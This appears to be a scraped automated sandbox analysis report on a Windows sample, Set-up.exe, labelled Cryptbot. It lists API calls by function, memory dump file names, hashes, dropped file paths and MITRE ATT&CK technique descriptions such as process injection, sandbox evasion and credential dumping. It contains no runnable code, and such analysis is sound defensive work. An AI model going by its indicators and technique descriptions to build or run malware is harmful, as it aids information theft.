random_device could not be read, xrefs: 6C9E8D34

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: _errno_readstrlen
String ID: random_device could not be read
API String ID: 3527645123-883157155
Opcode ID: b4c28b1d60946de45cb20249bdd6da59bffc22457c72df138d94ed7de0ff8015
Instruction ID: 4d2ceb7ad52a4a6d8f7877791c200245bf17231fd82b60ed5f424ef683e8ed6d
Opcode Fuzzy Hash: b4c28b1d60946de45cb20249bdd6da59bffc22457c72df138d94ed7de0ff8015
Instruction Fuzzy Hash: 14F027B140AE108BC7169F78858129E77A4BF26328F114B09E8656B7D4C730ECC4C7E6

Function 002B69E0 Relevance: 5.1, APIs: 4, Instructions: 55sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,?,002B6B11,?,?,?,?,?,?,00000000,002B4EB4), ref: 002B6A07
InitializeCriticalSection.KERNEL32(?,?,?,?,002B6B11,?,?,?,?,?,?,00000000,002B4EB4), ref: 002B6A44
InitializeCriticalSection.KERNEL32(?,?,?,?,?,002B6B11,?,?,?,?,?,?,00000000,002B4EB4), ref: 002B6A50
EnterCriticalSection.KERNEL32(?,?,?,?,002B6B11,?,?,?,?,?,?,00000000,002B4EB4), ref: 002B6A78

Memory Dump Source

Source File: 00000006.00000002.2555850203.00000000002B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2555812715.00000000002B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555885813.00000000002BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555916276.00000000002BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555942463.00000000002C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_service123.jbxd

Similarity

API ID: CriticalSection$Initialize$EnterSleep
String ID:
API String ID: 1117354567-0
Opcode ID: f277be9f5dbd7c37c3bbb13ce0b434d5f6bb194a29a0c705ba0996bf58b6b6f4
Instruction ID: 134eb5e71f5ee07139d232b0ab6ffcc0e7d5395ff52b17a4fc0f8186cc3b92a4
Opcode Fuzzy Hash: f277be9f5dbd7c37c3bbb13ce0b434d5f6bb194a29a0c705ba0996bf58b6b6f4
Instruction Fuzzy Hash: 9C1182B14345158ADF10FF2CB88D19A77A0EB04390F354625D486E7254E779D8E4CBA2

Function 6C979230 Relevance: 5.1, APIs: 4, Instructions: 55sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,00000001,6C979361), ref: 6C979257
InitializeCriticalSection.KERNEL32(?,?,?,00000001,6C979361), ref: 6C979294
InitializeCriticalSection.KERNEL32(?,?,?,?,00000001,6C979361), ref: 6C9792A0
EnterCriticalSection.KERNEL32(?,?,?,00000001,6C979361), ref: 6C9792C8

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: CriticalSection$Initialize$EnterSleep
String ID:
API String ID: 1117354567-0
Opcode ID: 48ae67a040dec35cf361323a47c3ca14900b88e913f65f46fff291979baf3ca9
Instruction ID: 19797c9bf4d10aa7593ac900f462200aa00799808483d80c116dfbf9deb6ec05
Opcode Fuzzy Hash: 48ae67a040dec35cf361323a47c3ca14900b88e913f65f46fff291979baf3ca9
Instruction Fuzzy Hash: 561151B5907241CBEB10BB6C94CA25936F8EB07754F52C525C443C7A94E630E985C7A3

Function 002B1FD0 Relevance: 5.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,?,002B219B,?,?,?,?,?,002B1818), ref: 002B1FDE
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,002B219B,?,?,?,?,?,002B1818), ref: 002B2005
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,002B219B,?,?,?,?,?,002B1818), ref: 002B200C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,002B219B,?,?,?,?,?,002B1818), ref: 002B202C

Memory Dump Source

Source File: 00000006.00000002.2555850203.00000000002B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2555812715.00000000002B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555885813.00000000002BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555916276.00000000002BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555942463.00000000002C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_service123.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 25766a9bc20fbedf90b0e05445881c38c429319eab4557b7deae7776202bd5b8
Instruction ID: 587e0588f3d4120b4a3cf2a131883d97ac984255cfdaed371c21c7ee1c5851f3
Opcode Fuzzy Hash: 25766a9bc20fbedf90b0e05445881c38c429319eab4557b7deae7776202bd5b8
Instruction Fuzzy Hash: 70F0A4B5510315CBD7107F7CE98869B7BA4EE64380F050A28DE8857315E770A819CBA2

Function 6C96A9B0 Relevance: 5.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 6C96A9BE
TlsGetValue.KERNEL32 ref: 6C96A9E5
GetLastError.KERNEL32 ref: 6C96A9EC
LeaveCriticalSection.KERNEL32 ref: 6C96AA0C

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 545149a4bc960571b2ee28fd2f6cb89f77534c1f446d3cb8fef6e43b09503f93
Instruction ID: ede15fd5ddfe8b8689d052e93cbc51fc1b53133acc8e8167170d218d8dfe9e2c
Opcode Fuzzy Hash: 545149a4bc960571b2ee28fd2f6cb89f77534c1f446d3cb8fef6e43b09503f93
Instruction Fuzzy Hash: 9FF0F4B6A013528FDB007F79C5C650A3B78FE0A284B064538CE454B604EB30E446CBA3

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Set-up.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Cryptbot

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\QebpVzajWJMNuiTsbyMN.dll

C:\Users\user\AppData\Local\Temp\service123.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Windows Analysis Report
Set-up.exe

Function 002B117C Relevance: 19.7, APIs: 13, Instructions: 199
sleepstringCOMMON

Function 6C9614E0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 116
COMMON

Function 002B15D0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 112
COMMON

Function 002B13D1 Relevance: 12.1, APIs: 8, Instructions: 108
stringCOMMON

Function 002B11B3 Relevance: 10.6, APIs: 7, Instructions: 114
sleepstringCOMMON

Function 002B1170 Relevance: 9.1, APIs: 6, Instructions: 130
sleepstringCOMMON

Function 6C97ADA0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 196
sleepsynchronizationCOMMON

Function 002B8320 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74
libraryCOMMON

Function 002B12A6 Relevance: 5.1, APIs: 4, Instructions: 79
stringCOMMON

Function 002B13C3 Relevance: 5.1, APIs: 4, Instructions: 65
stringCOMMON

Function 6C97C950 Relevance: 1.4, APIs: 1, Instructions: 157
COMMON

Function 6C97CAC0 Relevance: 1.4, APIs: 1, Instructions: 108
COMMON

Function 6C96B8E0 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130
COMMON